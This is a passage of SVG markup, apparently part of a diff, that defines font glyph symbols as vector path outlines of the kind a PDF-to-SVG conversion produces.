-4.140625 C 5.410156 -3.953125 5.394531 -3.753906 5.375 -3.546875 L 1.640625 -3.546875 C 1.640625 -3.128906 1.671875 -2.75 1.734375 -2.40625 C 1.804688 -2.0625 1.914062 -1.769531 2.0625 -1.53125 C 2.207031 -1.289062 2.394531 -1.101562 2.625 -0.96875 C 2.863281 -0.84375 3.148438 -0.78125 3.484375 -0.78125 C 3.753906 -0.78125 4.019531 -0.828125 4.28125 -0.921875 C 4.539062 -1.023438 4.738281 -1.144531 4.875 -1.28125 Z M 4.4375 -4.4375 C 4.445312 -5.164062 4.335938 -5.703125 4.109375 -6.046875 C 3.890625 -6.390625 3.585938 -6.5625 3.203125 -6.5625 C 2.753906 -6.5625 2.394531 -6.390625 2.125 -6.046875 C 1.863281 -5.703125 1.707031 -5.164062 1.65625 -4.4375 Z M 4.4375 -4.4375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-7"> +<path style="stroke:none;" d="M 0.859375 -7.328125 L 1.609375 -7.328125 L 1.78125 -6.546875 L 1.828125 -6.546875 C 2.191406 -7.191406 2.757812 -7.515625 3.53125 -7.515625 C 4.300781 -7.515625 4.878906 -7.222656 5.265625 -6.640625 C 5.660156 -6.066406 5.859375 -5.125 5.859375 -3.8125 C 5.859375 -3.195312 5.789062 -2.640625 5.65625 -2.140625 C 5.53125 -1.648438 5.347656 -1.226562 5.109375 -0.875 C 4.878906 -0.53125 4.59375 -0.269531 4.25 -0.09375 C 3.914062 0.0820312 3.546875 0.171875 3.140625 0.171875 C 2.859375 0.171875 2.632812 0.15625 2.46875 0.125 C 2.300781 0.09375 2.117188 0.0195312 1.921875 -0.09375 L 1.921875 2.9375 L 0.859375 2.9375 Z M 1.921875 -1.15625 C 2.054688 -1.039062 2.207031 -0.945312 2.375 -0.875 C 2.550781 -0.8125 2.78125 -0.78125 3.0625 -0.78125 C 3.582031 -0.78125 3.992188 -1.039062 4.296875 -1.5625 C 4.597656 -2.09375 4.75 -2.847656 4.75 -3.828125 C 4.75 -4.242188 4.722656 -4.613281 4.671875 -4.9375 C 4.617188 -5.269531 4.53125 -5.554688 4.40625 -5.796875 C 4.289062 -6.035156 4.144531 -6.222656 3.96875 -6.359375 C 3.789062 -6.492188 3.566406 -6.5625 3.296875 -6.5625 C 2.585938 -6.5625 2.128906 -6.125 1.921875 -5.25 Z M 1.921875 -1.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-8"> +<path style="stroke:none;" d="M 0.859375 -7.328125 L 1.609375 -7.328125 L 1.796875 -6.5625 L 1.84375 -6.5625 C 1.976562 -6.84375 2.15625 -7.0625 2.375 -7.21875 C 2.601562 -7.382812 2.875 -7.46875 3.1875 -7.46875 C 3.40625 -7.46875 3.660156 -7.421875 3.953125 -7.328125 L 3.734375 -6.265625 C 3.484375 -6.347656 3.257812 -6.390625 3.0625 -6.390625 C 2.75 -6.390625 2.492188 -6.300781 2.296875 -6.125 C 2.109375 -5.945312 1.984375 -5.707031 1.921875 -5.40625 L 1.921875 0 L 0.859375 0 Z M 0.859375 -7.328125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-9"> +<path style="stroke:none;" d="M 4.921875 -0.359375 C 4.671875 -0.179688 4.390625 -0.0507812 4.078125 0.03125 C 3.765625 0.125 3.4375 0.171875 3.09375 0.171875 C 2.625 0.171875 2.226562 0.0820312 1.90625 -0.09375 C 1.582031 -0.269531 1.320312 -0.523438 1.125 -0.859375 C 0.925781 -1.203125 0.78125 -1.609375 0.6875 -2.078125 C 0.59375 -2.554688 0.546875 -3.085938 0.546875 -3.671875 C 0.546875 -4.921875 0.765625 -5.875 1.203125 -6.53125 C 1.648438 -7.1875 2.289062 -7.515625 3.125 -7.515625 C 3.507812 -7.515625 3.835938 -7.476562 4.109375 -7.40625 C 4.378906 -7.34375 4.613281 -7.253906 4.8125 -7.140625 L 4.515625 -6.21875 C 4.128906 -6.445312 3.707031 -6.5625 3.25 -6.5625 C 2.71875 -6.5625 2.316406 -6.328125 2.046875 -5.859375 C 1.773438 -5.398438 1.640625 -4.671875 1.640625 -3.671875 C 1.640625 -3.265625 1.664062 -2.882812 1.71875 -2.53125 C 1.78125 -2.1875 1.878906 -1.882812 2.015625 -1.625 C 2.160156 -1.363281 2.335938 -1.15625 2.546875 -1 C 2.765625 -0.851562 3.035156 -0.78125 3.359375 -0.78125 C 3.609375 -0.78125 3.84375 -0.820312 4.0625 -0.90625 C 4.289062 -1 4.472656 -1.101562 4.609375 -1.21875 Z M 4.921875 -0.359375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-10"> +<path style="stroke:none;" d=""/> +</symbol> +<symbol overflow="visible" id="glyph1-11"> +<path style="stroke:none;" d="M 0.75 -1.203125 C 0.945312 -1.085938 1.175781 -0.988281 1.4375 -0.90625 C 1.707031 -0.820312 1.988281 -0.78125 2.28125 -0.78125 C 2.601562 -0.78125 2.875 -0.859375 3.09375 -1.015625 C 3.320312 -1.179688 3.4375 -1.441406 3.4375 -1.796875 C 3.4375 -2.109375 3.363281 -2.359375 3.21875 -2.546875 C 3.082031 -2.742188 2.910156 -2.921875 2.703125 -3.078125 C 2.492188 -3.234375 2.265625 -3.378906 2.015625 -3.515625 C 1.773438 -3.648438 1.550781 -3.804688 1.34375 -3.984375 C 1.132812 -4.171875 0.957031 -4.390625 0.8125 -4.640625 C 0.675781 -4.898438 0.609375 -5.226562 0.609375 -5.625 C 0.609375 -6.25 0.773438 -6.71875 1.109375 -7.03125 C 1.453125 -7.351562 1.929688 -7.515625 2.546875 -7.515625 C 2.953125 -7.515625 3.300781 -7.476562 3.59375 -7.40625 C 3.882812 -7.332031 4.140625 -7.226562 4.359375 -7.09375 L 4.078125 -6.21875 C 3.890625 -6.320312 3.671875 -6.40625 3.421875 -6.46875 C 3.179688 -6.53125 2.9375 -6.5625 2.6875 -6.5625 C 2.332031 -6.5625 2.070312 -6.488281 1.90625 -6.34375 C 1.75 -6.195312 1.671875 -5.96875 1.671875 -5.65625 C 1.671875 -5.40625 1.738281 -5.191406 1.875 -5.015625 C 2.007812 -4.847656 2.179688 -4.691406 2.390625 -4.546875 C 2.609375 -4.410156 2.835938 -4.269531 3.078125 -4.125 C 3.328125 -3.976562 3.554688 -3.800781 3.765625 -3.59375 C 3.972656 -3.394531 4.144531 -3.15625 4.28125 -2.875 C 4.414062 -2.601562 4.484375 -2.253906 4.484375 -1.828125 C 4.484375 -1.554688 4.4375 -1.296875 4.34375 -1.046875 C 4.257812 -0.804688 4.128906 -0.59375 3.953125 -0.40625 C 3.773438 -0.226562 3.550781 -0.0859375 3.28125 0.015625 C 3.007812 0.117188 2.691406 0.171875 2.328125 0.171875 C 1.898438 0.171875 1.53125 0.128906 1.21875 0.046875 C 0.90625 -0.0351562 0.640625 -0.144531 0.421875 -0.28125 Z M 0.75 -1.203125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-12"> +<path style="stroke:none;" d="M 0.125 -7.328125 L 1.03125 -7.328125 L 1.03125 -8.78125 L 2.078125 -9.125 L 2.078125 -7.328125 L 3.671875 -7.328125 L 3.671875 -6.375 L 2.078125 -6.375 L 2.078125 -2.015625 C 2.078125 -1.578125 2.128906 -1.265625 2.234375 -1.078125 C 2.335938 -0.890625 2.507812 -0.796875 2.75 -0.796875 C 2.9375 -0.796875 3.101562 -0.816406 3.25 -0.859375 C 3.394531 -0.898438 3.550781 -0.957031 3.71875 -1.03125 L 3.921875 -0.1875 C 3.703125 -0.0820312 3.460938 0 3.203125 0.0625 C 2.941406 0.125 2.671875 0.15625 2.390625 0.15625 C 1.898438 0.15625 1.550781 0 1.34375 -0.3125 C 1.132812 -0.632812 1.03125 -1.148438 1.03125 -1.859375 L 1.03125 -6.375 L 0.125 -6.375 Z M 0.125 -7.328125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-13"> +<path style="stroke:none;" d="M 0.546875 -3.671875 C 0.546875 -4.992188 0.769531 -5.960938 1.21875 -6.578125 C 1.675781 -7.203125 2.328125 -7.515625 3.171875 -7.515625 C 4.066406 -7.515625 4.726562 -7.195312 5.15625 -6.5625 C 5.582031 -5.925781 5.796875 -4.960938 5.796875 -3.671875 C 5.796875 -2.335938 5.566406 -1.363281 5.109375 -0.75 C 4.648438 -0.132812 4.003906 0.171875 3.171875 0.171875 C 2.265625 0.171875 1.597656 -0.144531 1.171875 -0.78125 C 0.753906 -1.414062 0.546875 -2.378906 0.546875 -3.671875 Z M 1.640625 -3.671875 C 1.640625 -3.234375 1.664062 -2.835938 1.71875 -2.484375 C 1.769531 -2.140625 1.859375 -1.835938 1.984375 -1.578125 C 2.109375 -1.328125 2.269531 -1.128906 2.46875 -0.984375 C 2.664062 -0.847656 2.898438 -0.78125 3.171875 -0.78125 C 3.679688 -0.78125 4.0625 -1.003906 4.3125 -1.453125 C 4.5625 -1.910156 4.6875 -2.648438 4.6875 -3.671875 C 4.6875 -4.085938 4.660156 -4.472656 4.609375 -4.828125 C 4.554688 -5.191406 4.46875 -5.5 4.34375 -5.75 C 4.226562 -6.007812 4.070312 -6.207031 3.875 -6.34375 C 3.675781 -6.488281 3.441406 -6.5625 3.171875 -6.5625 C 2.671875 -6.5625 2.289062 -6.328125 2.03125 -5.859375 C 1.769531 -5.398438 1.640625 -4.671875 1.640625 -3.671875 Z M 1.640625 -3.671875 "/> +</symbol> +<symbol overflow="visible" id="glyph1-14"> +<path style="stroke:none;" d="M 5.484375 0.34375 C 5.484375 1.289062 5.269531 1.988281 4.84375 2.4375 C 4.425781 2.882812 3.816406 3.109375 3.015625 3.109375 C 2.523438 3.109375 2.125 3.066406 1.8125 2.984375 C 1.5 2.898438 1.25 2.804688 1.0625 2.703125 L 1.359375 1.796875 C 1.554688 1.878906 1.769531 1.957031 2 2.03125 C 2.238281 2.113281 2.53125 2.15625 2.875 2.15625 C 3.46875 2.15625 3.875 1.988281 4.09375 1.65625 C 4.320312 1.320312 4.4375 0.765625 4.4375 -0.015625 L 4.4375 -0.5625 L 4.390625 -0.5625 C 4.234375 -0.332031 4.03125 -0.15625 3.78125 -0.03125 C 3.539062 0.09375 3.226562 0.15625 2.84375 0.15625 C 2.050781 0.15625 1.46875 -0.144531 1.09375 -0.75 C 0.726562 -1.363281 0.546875 -2.328125 0.546875 -3.640625 C 0.546875 -4.898438 0.785156 -5.851562 1.265625 -6.5 C 1.753906 -7.144531 2.472656 -7.46875 3.421875 -7.46875 C 3.878906 -7.46875 4.273438 -7.421875 4.609375 -7.328125 C 4.941406 -7.242188 5.234375 -7.144531 5.484375 -7.03125 Z M 4.4375 -6.28125 C 4.132812 -6.4375 3.753906 -6.515625 3.296875 -6.515625 C 2.796875 -6.515625 2.394531 -6.285156 2.09375 -5.828125 C 1.789062 -5.378906 1.640625 -4.65625 1.640625 -3.65625 C 1.640625 -3.238281 1.664062 -2.859375 1.71875 -2.515625 C 1.769531 -2.171875 1.851562 -1.867188 1.96875 -1.609375 C 2.082031 -1.347656 2.226562 -1.144531 2.40625 -1 C 2.59375 -0.863281 2.816406 -0.796875 3.078125 -0.796875 C 3.453125 -0.796875 3.742188 -0.890625 3.953125 -1.078125 C 4.171875 -1.273438 4.332031 -1.570312 4.4375 -1.96875 Z M 4.4375 -6.28125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-15"> +<path style="stroke:none;" d="M 2.6875 -2.59375 L 3 -1.171875 L 3.0625 -1.171875 L 3.28125 -2.59375 L 4.40625 -7.328125 L 5.46875 -7.328125 L 3.734375 -0.75 C 3.585938 -0.21875 3.445312 0.273438 3.3125 0.734375 C 3.175781 1.191406 3.023438 1.585938 2.859375 1.921875 C 2.703125 2.265625 2.523438 2.53125 2.328125 2.71875 C 2.128906 2.90625 1.890625 3 1.609375 3 C 1.335938 3 1.097656 2.957031 0.890625 2.875 L 1.078125 1.875 C 1.210938 1.925781 1.347656 1.9375 1.484375 1.90625 C 1.617188 1.875 1.742188 1.789062 1.859375 1.65625 C 1.984375 1.519531 2.097656 1.316406 2.203125 1.046875 C 2.304688 0.773438 2.398438 0.425781 2.484375 0 L 0.109375 -7.328125 L 1.3125 -7.328125 Z M 2.6875 -2.59375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-16"> +<path style="stroke:none;" d="M 0 2.046875 L 4.90625 2.046875 L 4.90625 3 L 0 3 Z M 0 2.046875 "/> +</symbol> +<symbol overflow="visible" id="glyph1-17"> +<path style="stroke:none;" d="M 1.375 -0.984375 L 3.03125 -0.984375 L 3.03125 -8.125 L 3.171875 -9 L 2.671875 -8.296875 L 1.4375 -7.296875 L 0.875 -7.953125 L 3.546875 -10.453125 L 4.09375 -10.453125 L 4.09375 -0.984375 L 5.6875 -0.984375 L 5.6875 0 L 1.375 0 Z M 1.375 -0.984375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-18"> +<path style="stroke:none;" d="M 5.40625 -8.03125 C 5.40625 -7.488281 5.320312 -6.921875 5.15625 -6.328125 C 5 -5.742188 4.796875 -5.164062 4.546875 -4.59375 C 4.296875 -4.019531 4.015625 -3.46875 3.703125 -2.9375 C 3.398438 -2.414062 3.097656 -1.953125 2.796875 -1.546875 L 2.21875 -0.890625 L 2.21875 -0.84375 L 3 -0.984375 L 5.5625 -0.984375 L 5.5625 0 L 0.8125 0 L 0.8125 -0.46875 C 0.988281 -0.695312 1.195312 -0.976562 1.4375 -1.3125 C 1.6875 -1.65625 1.941406 -2.03125 2.203125 -2.4375 C 2.460938 -2.84375 2.71875 -3.273438 2.96875 -3.734375 C 3.21875 -4.191406 3.441406 -4.65625 3.640625 -5.125 C 3.835938 -5.59375 3.992188 -6.054688 4.109375 -6.515625 C 4.234375 -6.972656 4.296875 -7.410156 4.296875 -7.828125 C 4.296875 -8.328125 4.179688 -8.722656 3.953125 -9.015625 C 3.722656 -9.316406 3.390625 -9.46875 2.953125 -9.46875 C 2.671875 -9.46875 2.394531 -9.414062 2.125 -9.3125 C 1.851562 -9.207031 1.617188 -9.078125 1.421875 -8.921875 L 1.015625 -9.703125 C 1.273438 -9.929688 1.59375 -10.113281 1.96875 -10.25 C 2.351562 -10.382812 2.757812 -10.453125 3.1875 -10.453125 C 3.90625 -10.453125 4.453125 -10.226562 4.828125 -9.78125 C 5.210938 -9.332031 5.40625 -8.75 5.40625 -8.03125 Z M 5.40625 -8.03125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-19"> +<path style="stroke:none;" d="M 6.03125 -7.9375 C 6.03125 -7.6875 6 -7.429688 5.9375 -7.171875 C 5.882812 -6.921875 5.789062 -6.679688 5.65625 -6.453125 C 5.53125 -6.234375 5.375 -6.035156 5.1875 -5.859375 C 5 -5.679688 4.765625 -5.546875 4.484375 -5.453125 L 4.484375 -5.40625 C 4.722656 -5.351562 4.945312 -5.269531 5.15625 -5.15625 C 5.375 -5.039062 5.566406 -4.882812 5.734375 -4.6875 C 5.898438 -4.488281 6.03125 -4.242188 6.125 -3.953125 C 6.226562 -3.660156 6.28125 -3.316406 6.28125 -2.921875 C 6.28125 -2.390625 6.195312 -1.929688 6.03125 -1.546875 C 5.863281 -1.160156 5.632812 -0.84375 5.34375 -0.59375 C 5.0625 -0.351562 4.726562 -0.171875 4.34375 -0.046875 C 3.96875 0.0664062 3.570312 0.125 3.15625 0.125 C 3.019531 0.125 2.859375 0.125 2.671875 0.125 C 2.492188 0.125 2.300781 0.113281 2.09375 0.09375 C 1.894531 0.0820312 1.691406 0.0625 1.484375 0.03125 C 1.285156 0.0078125 1.101562 -0.0234375 0.9375 -0.078125 L 0.9375 -10.1875 C 1.226562 -10.238281 1.570312 -10.285156 1.96875 -10.328125 C 2.363281 -10.367188 2.789062 -10.390625 3.25 -10.390625 C 3.582031 -10.390625 3.914062 -10.359375 4.25 -10.296875 C 4.582031 -10.234375 4.878906 -10.113281 5.140625 -9.9375 C 5.410156 -9.757812 5.625 -9.507812 5.78125 -9.1875 C 5.945312 -8.875 6.03125 -8.457031 6.03125 -7.9375 Z M 3.25 -0.890625 C 3.507812 -0.890625 3.75 -0.929688 3.96875 -1.015625 C 4.195312 -1.097656 4.394531 -1.222656 4.5625 -1.390625 C 4.738281 -1.554688 4.875 -1.757812 4.96875 -2 C 5.070312 -2.238281 5.125 -2.519531 5.125 -2.84375 C 5.125 -3.25 5.0625 -3.578125 4.9375 -3.828125 C 4.8125 -4.078125 4.648438 -4.269531 4.453125 -4.40625 C 4.265625 -4.539062 4.046875 -4.628906 3.796875 -4.671875 C 3.546875 -4.722656 3.285156 -4.75 3.015625 -4.75 L 2.046875 -4.75 L 2.046875 -1 C 2.097656 -0.976562 2.171875 -0.960938 2.265625 -0.953125 C 2.359375 -0.941406 2.460938 -0.929688 2.578125 -0.921875 C 2.691406 -0.910156 2.804688 -0.898438 2.921875 -0.890625 C 3.035156 -0.890625 3.144531 -0.890625 3.25 -0.890625 Z M 2.640625 -5.703125 C 2.773438 -5.703125 2.929688 -5.707031 3.109375 -5.71875 C 3.285156 -5.726562 3.429688 -5.742188 3.546875 -5.765625 C 3.910156 -5.910156 4.222656 -6.144531 4.484375 -6.46875 C 4.742188 -6.800781 4.875 -7.207031 4.875 -7.6875 C 4.875 -8.007812 4.828125 -8.28125 4.734375 -8.5 C 4.648438 -8.71875 4.53125 -8.890625 4.375 -9.015625 C 4.226562 -9.148438 4.050781 -9.242188 3.84375 -9.296875 C 3.632812 -9.347656 3.421875 -9.375 3.203125 -9.375 C 2.941406 -9.375 2.707031 -9.363281 2.5 -9.34375 C 2.300781 -9.332031 2.148438 -9.316406 2.046875 -9.296875 L 2.046875 -5.703125 Z M 2.640625 -5.703125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-20"> +<path style="stroke:none;" d="M 2.46875 -3.296875 L 1.921875 -3.296875 L 1.921875 0 L 0.859375 0 L 0.859375 -10.265625 L 1.921875 -10.265625 L 1.921875 -4.015625 L 2.40625 -4.21875 L 4.125 -7.328125 L 5.34375 -7.328125 L 3.609375 -4.375 L 3.09375 -3.90625 L 3.703125 -3.328125 L 5.59375 0 L 4.3125 0 Z M 2.46875 -3.296875 "/> +</symbol> +<symbol overflow="visible" id="glyph1-21"> +<path style="stroke:none;" d="M 0.40625 -6.640625 L 1.140625 -6.640625 C 1.242188 -7.359375 1.394531 -7.953125 1.59375 -8.421875 C 1.800781 -8.890625 2.050781 -9.269531 2.34375 -9.5625 C 2.632812 -9.863281 2.957031 -10.085938 3.3125 -10.234375 C 3.675781 -10.378906 4.054688 -10.453125 4.453125 -10.453125 C 4.859375 -10.453125 5.203125 -10.421875 5.484375 -10.359375 C 5.773438 -10.304688 6.035156 -10.226562 6.265625 -10.125 L 5.96875 -9.15625 C 5.78125 -9.238281 5.566406 -9.304688 5.328125 -9.359375 C 5.097656 -9.410156 4.816406 -9.4375 4.484375 -9.4375 C 4.222656 -9.4375 3.972656 -9.382812 3.734375 -9.28125 C 3.503906 -9.1875 3.289062 -9.035156 3.09375 -8.828125 C 2.894531 -8.617188 2.722656 -8.34375 2.578125 -8 C 2.429688 -7.65625 2.320312 -7.203125 2.25 -6.640625 L 5.515625 -6.640625 L 5.296875 -5.71875 L 2.15625 -5.71875 C 2.144531 -5.644531 2.140625 -5.546875 2.140625 -5.421875 C 2.140625 -5.304688 2.140625 -5.210938 2.140625 -5.140625 C 2.140625 -5.035156 2.140625 -4.953125 2.140625 -4.890625 C 2.140625 -4.835938 2.144531 -4.769531 2.15625 -4.6875 L 5.0625 -4.6875 L 4.84375 -3.765625 L 2.234375 -3.765625 C 2.367188 -2.742188 2.640625 -2 3.046875 -1.53125 C 3.460938 -1.070312 3.992188 -0.84375 4.640625 -0.84375 C 5.253906 -0.84375 5.753906 -0.976562 6.140625 -1.25 L 6.375 -0.359375 C 6.144531 -0.171875 5.851562 -0.0351562 5.5 0.046875 C 5.144531 0.128906 4.789062 0.171875 4.4375 0.171875 C 3.53125 0.171875 2.785156 -0.132812 2.203125 -0.75 C 1.628906 -1.363281 1.265625 -2.367188 1.109375 -3.765625 L 0.171875 -3.765625 L 0.40625 -4.6875 L 1.046875 -4.6875 L 1.046875 -5.140625 C 1.046875 -5.210938 1.046875 -5.304688 1.046875 -5.421875 C 1.046875 -5.546875 1.050781 -5.644531 1.0625 -5.71875 L 0.171875 -5.71875 Z M 0.40625 -6.640625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-22"> +<path style="stroke:none;" d="M 0.84375 -2.375 C 0.84375 -3.03125 0.976562 -3.585938 1.25 -4.046875 C 1.519531 -4.503906 1.921875 -4.921875 2.453125 -5.296875 C 2.253906 -5.441406 2.066406 -5.59375 1.890625 -5.75 C 1.722656 -5.914062 1.578125 -6.097656 1.453125 -6.296875 C 1.328125 -6.503906 1.226562 -6.734375 1.15625 -6.984375 C 1.082031 -7.242188 1.046875 -7.539062 1.046875 -7.875 C 1.046875 -8.664062 1.25 -9.289062 1.65625 -9.75 C 2.070312 -10.21875 2.644531 -10.453125 3.375 -10.453125 C 4.050781 -10.453125 4.585938 -10.242188 4.984375 -9.828125 C 5.378906 -9.410156 5.578125 -8.835938 5.578125 -8.109375 C 5.578125 -7.554688 5.46875 -7.0625 5.25 -6.625 C 5.039062 -6.195312 4.703125 -5.78125 4.234375 -5.375 C 4.441406 -5.226562 4.640625 -5.066406 4.828125 -4.890625 C 5.015625 -4.710938 5.175781 -4.515625 5.3125 -4.296875 C 5.457031 -4.078125 5.566406 -3.828125 5.640625 -3.546875 C 5.722656 -3.265625 5.765625 -2.941406 5.765625 -2.578125 C 5.765625 -1.742188 5.539062 -1.078125 5.09375 -0.578125 C 4.65625 -0.078125 4.039062 0.171875 3.25 0.171875 C 2.863281 0.171875 2.523438 0.109375 2.234375 -0.015625 C 1.941406 -0.140625 1.691406 -0.3125 1.484375 -0.53125 C 1.273438 -0.757812 1.113281 -1.03125 1 -1.34375 C 0.894531 -1.65625 0.84375 -2 0.84375 -2.375 Z M 3.140625 -4.890625 C 2.691406 -4.554688 2.363281 -4.179688 2.15625 -3.765625 C 1.957031 -3.359375 1.859375 -2.945312 1.859375 -2.53125 C 1.859375 -2.039062 1.976562 -1.625 2.21875 -1.28125 C 2.46875 -0.945312 2.828125 -0.78125 3.296875 -0.78125 C 3.679688 -0.78125 4.007812 -0.914062 4.28125 -1.1875 C 4.5625 -1.46875 4.703125 -1.914062 4.703125 -2.53125 C 4.703125 -2.832031 4.660156 -3.097656 4.578125 -3.328125 C 4.492188 -3.566406 4.375 -3.773438 4.21875 -3.953125 C 4.070312 -4.128906 3.90625 -4.296875 3.71875 -4.453125 C 3.539062 -4.609375 3.347656 -4.753906 3.140625 -4.890625 Z M 3.53125 -5.75 C 3.863281 -6.082031 4.117188 -6.414062 4.296875 -6.75 C 4.472656 -7.09375 4.5625 -7.46875 4.5625 -7.875 C 4.5625 -8.414062 4.441406 -8.820312 4.203125 -9.09375 C 3.960938 -9.363281 3.679688 -9.5 3.359375 -9.5 C 3.148438 -9.5 2.960938 -9.457031 2.796875 -9.375 C 2.640625 -9.289062 2.507812 -9.171875 2.40625 -9.015625 C 2.300781 -8.867188 2.21875 -8.703125 2.15625 -8.515625 C 2.09375 -8.328125 2.0625 -8.125 2.0625 -7.90625 C 2.0625 -7.644531 2.097656 -7.40625 2.171875 -7.1875 C 2.253906 -6.976562 2.363281 -6.789062 2.5 -6.625 C 2.644531 -6.457031 2.804688 -6.300781 2.984375 -6.15625 C 3.160156 -6.007812 3.34375 -5.875 3.53125 -5.75 Z M 3.53125 -5.75 "/> +</symbol> +<symbol overflow="visible" id="glyph1-23"> +<path style="stroke:none;" d="M 0.5625 -5.140625 C 0.5625 -6.078125 0.617188 -6.878906 0.734375 -7.546875 C 0.847656 -8.222656 1.019531 -8.773438 1.25 -9.203125 C 1.488281 -9.628906 1.78125 -9.941406 2.125 -10.140625 C 2.46875 -10.347656 2.859375 -10.453125 3.296875 -10.453125 C 3.765625 -10.453125 4.171875 -10.347656 4.515625 -10.140625 C 4.867188 -9.941406 5.15625 -9.628906 5.375 -9.203125 C 5.601562 -8.773438 5.769531 -8.222656 5.875 -7.546875 C 5.988281 -6.878906 6.046875 -6.078125 6.046875 -5.140625 C 6.046875 -4.191406 5.984375 -3.378906 5.859375 -2.703125 C 5.742188 -2.035156 5.566406 -1.488281 5.328125 -1.0625 C 5.097656 -0.632812 4.8125 -0.320312 4.46875 -0.125 C 4.132812 0.0703125 3.75 0.171875 3.3125 0.171875 C 2.832031 0.171875 2.421875 0.0703125 2.078125 -0.125 C 1.734375 -0.332031 1.445312 -0.648438 1.21875 -1.078125 C 0.988281 -1.515625 0.820312 -2.066406 0.71875 -2.734375 C 0.613281 -3.398438 0.5625 -4.203125 0.5625 -5.140625 Z M 1.65625 -5.140625 C 1.65625 -3.734375 1.785156 -2.65625 2.046875 -1.90625 C 2.316406 -1.15625 2.742188 -0.78125 3.328125 -0.78125 C 3.898438 -0.78125 4.3125 -1.125 4.5625 -1.8125 C 4.820312 -2.5 4.953125 -3.609375 4.953125 -5.140625 C 4.953125 -6.523438 4.828125 -7.597656 4.578125 -8.359375 C 4.328125 -9.117188 3.898438 -9.5 3.296875 -9.5 C 2.734375 -9.5 2.316406 -9.15625 2.046875 -8.46875 C 1.785156 -7.78125 1.65625 -6.671875 1.65625 -5.140625 Z M 1.65625 -5.140625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-24"> +<path style="stroke:none;" d="M 0.578125 -0.65625 C 0.578125 -0.9375 0.640625 -1.144531 0.765625 -1.28125 C 0.898438 -1.414062 1.082031 -1.484375 1.3125 -1.484375 C 1.53125 -1.484375 1.707031 -1.414062 1.84375 -1.28125 C 1.976562 -1.144531 2.046875 -0.9375 2.046875 -0.65625 C 2.046875 -0.375 1.976562 -0.164062 1.84375 -0.03125 C 1.707031 0.101562 1.53125 0.171875 1.3125 0.171875 C 1.082031 0.171875 0.898438 0.101562 0.765625 -0.03125 C 0.640625 -0.164062 0.578125 -0.375 0.578125 -0.65625 Z M 0.578125 -0.65625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-25"> +<path style="stroke:none;" d="M 5.515625 -7.328125 L 5.515625 0 L 4.453125 0 L 4.453125 -6.375 L 2.1875 -6.375 L 2.1875 0 L 1.125 0 L 1.125 -6.375 L 0.234375 -6.375 L 0.234375 -7.328125 L 1.125 -7.328125 L 1.125 -7.75 C 1.125 -8.664062 1.3125 -9.332031 1.6875 -9.75 C 2.0625 -10.164062 2.601562 -10.375 3.3125 -10.375 C 3.789062 -10.375 4.207031 -10.328125 4.5625 -10.234375 C 4.925781 -10.140625 5.21875 -10.035156 5.4375 -9.921875 L 5.109375 -9.03125 C 4.867188 -9.175781 4.601562 -9.273438 4.3125 -9.328125 C 4.03125 -9.390625 3.734375 -9.421875 3.421875 -9.421875 C 3.140625 -9.421875 2.921875 -9.375 2.765625 -9.28125 C 2.609375 -9.1875 2.484375 -9.046875 2.390625 -8.859375 C 2.304688 -8.679688 2.25 -8.460938 2.21875 -8.203125 C 2.195312 -7.941406 2.1875 -7.648438 2.1875 -7.328125 Z M 5.515625 -7.328125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-26"> +<path style="stroke:none;" d="M 2.359375 -3.75 L 0.421875 -7.328125 L 1.6875 -7.328125 L 2.765625 -5.234375 L 3.0625 -4.421875 L 3.375 -5.234375 L 4.484375 -7.328125 L 5.65625 -7.328125 L 3.703125 -3.8125 L 5.765625 0 L 4.5625 0 L 3.328125 -2.296875 L 3 -3.1875 L 2.671875 -2.296875 L 1.4375 0 L 0.28125 0 Z M 2.359375 -3.75 "/> +</symbol> +<symbol overflow="visible" id="glyph1-27"> +<path style="stroke:none;" d="M 1.359375 -1.109375 C 1.546875 -1.003906 1.757812 -0.921875 2 -0.859375 C 2.238281 -0.804688 2.515625 -0.78125 2.828125 -0.78125 C 3.097656 -0.78125 3.34375 -0.832031 3.5625 -0.9375 C 3.78125 -1.039062 3.96875 -1.191406 4.125 -1.390625 C 4.289062 -1.585938 4.414062 -1.820312 4.5 -2.09375 C 4.59375 -2.363281 4.640625 -2.660156 4.640625 -2.984375 C 4.640625 -3.703125 4.476562 -4.226562 4.15625 -4.5625 C 3.84375 -4.894531 3.398438 -5.0625 2.828125 -5.0625 L 1.953125 -5.0625 L 1.953125 -5.484375 L 3.65625 -8.78125 L 4.21875 -9.390625 L 3.421875 -9.28125 L 1.109375 -9.28125 L 1.109375 -10.265625 L 5.375 -10.265625 L 5.375 -9.84375 L 3.484375 -6.34375 L 3.046875 -5.90625 L 3.046875 -5.890625 L 3.484375 -5.96875 C 3.785156 -5.96875 4.070312 -5.90625 4.34375 -5.78125 C 4.613281 -5.664062 4.847656 -5.488281 5.046875 -5.25 C 5.242188 -5.007812 5.398438 -4.710938 5.515625 -4.359375 C 5.628906 -4.003906 5.6875 -3.59375 5.6875 -3.125 C 5.6875 -2.59375 5.609375 -2.117188 5.453125 -1.703125 C 5.304688 -1.296875 5.101562 -0.953125 4.84375 -0.671875 C 4.582031 -0.398438 4.28125 -0.191406 3.9375 -0.046875 C 3.59375 0.0976562 3.222656 0.171875 2.828125 0.171875 C 2.484375 0.171875 2.160156 0.140625 1.859375 0.078125 C 1.554688 0.0234375 1.296875 -0.0507812 1.078125 -0.15625 Z M 1.359375 -1.109375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-28"> +<path style="stroke:none;" d="M 5.828125 -4.734375 L 2.046875 -4.734375 L 2.046875 0 L 0.9375 0 L 0.9375 -10.265625 L 2.046875 -10.265625 L 2.046875 -5.75 L 5.828125 -5.75 L 5.828125 -10.265625 L 6.921875 -10.265625 L 6.921875 0 L 5.828125 0 Z M 5.828125 -4.734375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-29"> +<path style="stroke:none;" d="M 2 -1.75 C 2 -1.40625 2.046875 